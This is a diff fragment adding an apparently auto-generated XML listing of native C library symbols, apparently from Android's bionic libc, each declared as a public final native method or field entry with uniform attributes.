+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtok_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="islower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasestr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_uniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mprotect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ispunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="removexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utimensat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_getvalue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandirat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquerydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfgetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimesat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="personality" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="qsort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_ctype_" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="optarg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alarm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_network" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="link" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="syscall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlinebuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigpause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_put32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_ctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fileno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtouq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptsname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swapon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtol_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rewinddir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getcpu" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsyslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getmntent_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cmsg_nxthdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_set_abort_message" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="linkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memmem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lockf64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="socket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_message_count" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umount2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nmkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsnrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_skip" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_indextoname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctob" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="daemon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getdelim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpucount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="btowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readahead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_thread_atexit_impl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="brk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memccpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfmakeraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="psignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigfillset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait_any" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openlog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_add_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_children" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__write_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setreuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ttyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="seed48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcwidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gettimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fgets_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="jrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gmtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="warn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_rcode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrrf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fsetlocking" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pread64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execlp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freeifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__b64_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__register_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nameinquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="at_quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_isourserver" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sighold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uselocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwarnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedwrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_avphys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hasmntopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_tryrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nsdispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setfsgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="capget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_pop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_gettid_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_skiprr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setqhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsinit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="symlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funlockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="login_tty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__ppoll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
